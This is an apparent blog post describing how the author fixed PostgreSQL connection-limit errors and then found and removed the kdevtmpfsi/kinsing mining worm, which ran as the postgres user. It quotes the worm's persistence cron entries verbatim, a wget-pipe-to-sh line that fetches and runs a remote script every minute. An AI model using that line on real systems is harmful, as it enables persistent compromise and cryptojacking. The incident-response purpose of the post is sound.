背景:
-
pgsql连接时候报错
org.postgresql.util.PSQLException: FATAL: sorry, too many clients already, 意思是client已经把连接池占满了. -
使用
ps -ef | grep postgres删除几个进程, 进入数据库运行SELECT * FROM pg_stat_activity, 发现大部分都是idle空闲状态的连接 -
然后修改
/var/lib/pgsql/14/data/postgres.conf中的idle_session_timeout为2000(2s), 但是数据库中有警告(如下), 同时navicat中稍等2s后也会报这样异常, 但是再次运行就可以. 因为navicat/dbeaver也是通过连接池方式与数据库进行的连接2023-02-20 14:15:37.926 2023-02-20 14:15:37,926 [http-nio-80-exec-1459] WARN com.zaxxer.hikari.pool.PoolBase 173 - HikariPool-98 - Failed to validate connection org.postgresql.jdbc.PgConnection@5e029bbb (This connection has been closed.) -
后来只好将
idle_session_timeout恢复, 然后尝试扩大线程池大小 -
但是线程池大小跟服务器配置有关, 默认的大小是100, 在
postgres.conf中修改max_connections为200, 重启数据库虽然可以正常使用, 但是在tomcat重启时(war包会依次重新部署), 服务器因为数据库连接池太大, 导致tomcat启动失败(可能是堆栈溢出了). -
再次尝试调整到150, 虽然可以正常使用, 但是postgres会占用cpu太高, 300%左右, 只好调整回100.
-
在pgsql高版本中对此也有一部分配置, 比如每隔几分钟会发现无效连接并进行关闭, 可以减轻部分连接池压力(详情见参考1)
一、idle_session_timeout参数 用来控制空闲会话连接超时的时间。区别于tcp_keepalives相关参数， 当一个会话连接长时间没有执行SQL或者活动时，会将该会话释放，可以释放缓存避免出现例如OOM等问题 idle_session_timeout：默认值为0，表示禁用，其单位是毫秒; 14版本引入了idle_session_timeout参数，可以在设置该参数，超过设置的时间，数据库会关闭空闲连接。之前的老版本可以使用pg_timeout插件，达到同样的效果。但是同样也会关闭掉我们想保留的正常的空闲连接，所以设置TCP keepalive是更好的解决方案。 二、postgresql的tcp_keepalives相关参数设置可以及时发现无效连接， 如下这样可以在5分钟以内就探测出无效连接 tcp_keepalives_idle = 60 # TCP_KEEPIDLE, in seconds; tcp_keepalives_interval = 20 # TCP_KEEPINTVL, in seconds; tcp_keepalives_count = 10 # TCP_KEEPCNT; 三、PG14版本还引入了client_connection_check_interval参数, 每隔一段时间检测client是否离线（断开），如果已经离线，则快速结束掉正在运行的query，，浪费数据库资源。默认是0，单位默认毫秒 官方文档解释： client_connection_check_interval = 0 # time between checks for client # disconnection while running queries; 0 for never
-
就在调整回100后过了半个小时, 进服务器使用
top复查时, 发现了一个还有一个线程占用了388.0%, 名称为kdevtmpfsi, 经过百度发现这是个在20年处爆发的挖矿僵尸网络蠕虫病毒, 但是网上都是说是通过redis未授权或弱口令作为入口进行侵入的, 但是这次遇到的情况却不是因为redis引起的.
-
第一步肯定是先把进程停了: 使用
kill -9 pid停止进程, 发现有个依赖进程kinsing, 那就先使用ps -ef | grep kinsing找到对应的pid停止即可. -
如果到这一步停止的话, 过不了多久他会自动重新启动的.
-
继续挖, 全盘查找这两个文件
find / kinsing发现只有/tmp中有, 我第一次时候直接rm -f /tmp/kinsing删除了这两个文件, 然后就束手无策了, 但是在一小时左右时候kinsing又重新生成了. -
通过
ll发现kinsing的拥有者是postgres, 这时才确定了是pgsql引起的, 而不是redis引起的
-
接下来就好说了, 首先删除
kinsing文件 -
使用
crontab指令(下方是使用说明)找出postgres创建的定时任务, 删除掉即可.
Usage:
crontab [options] file
crontab [options]
crontab -n [hostname]
Options:
-u <user> define user
-e edit user's crontab
-l list user's crontab
-r delete user's crontab
-i prompt before deleting
-n <host> set host in cluster to run users' crontabs
-c get host in cluster to run users' crontabs
-s selinux context
-V print version and exit
-x <mask> enable debugging
-u 定义用户(谁建立的)
-e 修改用户创建的定时任务
-l 列举出用户创建的定时任务
-r 删除用户创建的定时任务
crontab -u postgres -e 使用默认编辑器打开postgres创建的定时任务, 对应的定时任务文件在/var/spool/cron/目录下.
显示:
* * * * * wget -q -O - http://[ip]/pg.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://[other ip]/pg.sh | sh > /dev/null 2>&1
删除的话直接使用vim指令dd全部删除, :wq保存退出即可.
哪些有风险呢? 通过寻找解决之法时候发现包括但不限于以下几种
-
redis
-
pgsql
-
php
如何避免呢?
-
服务器上只开放使用到的服务器
-
尽量不使用默认端口(如: 3306, 5432, 8848)
-
不用使用默认密码, 一定修改密码, 且复杂度高一些
-
安装包使用官方版本
参考1: postgresql空闲连接以及连接有效性检查的参数小结
参考2: Postgres数据库修改最大连接数
参考3: 记一次服务器 linux（centos7）被 postgres 病毒攻击, 挖矿的事故
参考5: kdevtmpfsi using 100% of CPU?
参考6: 关于linux病毒kinsing kdevtmpfsi 的处理
参考7: Linux服务器kdevtmpfsi挖矿病毒解决方法：治标+治本